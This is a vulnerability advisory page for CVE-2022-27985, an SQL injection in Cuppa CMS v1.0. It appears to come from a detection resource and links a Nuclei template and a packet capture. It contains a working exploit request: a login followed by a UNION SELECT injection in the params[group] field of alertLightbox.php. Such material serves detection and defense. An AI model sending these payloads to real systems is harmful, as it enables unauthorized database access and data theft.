🔙 목록으로 돌아가기

CVE-2022-27985: Cuppa CMS v1.0 - SQL injection

TitleCuppa CMS v1.0 - SQL injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
RemediationUpgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
CVSS Score9.8
EPSS Score0.24054
CVE IDCVE-2022-27985
CWE IDCWE-89
Tags cve cve2022 sqli cuppa authenticated cuppacms vuln

🔍 Vulnerability Description

CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via /administrator/alerts/alertLightbox.php.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user=oHnIPr&password=nwOyTS&language=en&task=login

POST /alerts/alertLightbox.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 205
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

url=components%2Fpermissions%2Flist_permissions_lightbox.php&title=Permissions%3A+profile&params%5Bgroup%5D=3'+UNION+ALL+SELECT+md5('9467'),null--+-&params%5Breference%5D=41&uniqueClass=new_content_3983163

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-27985.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-27985.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A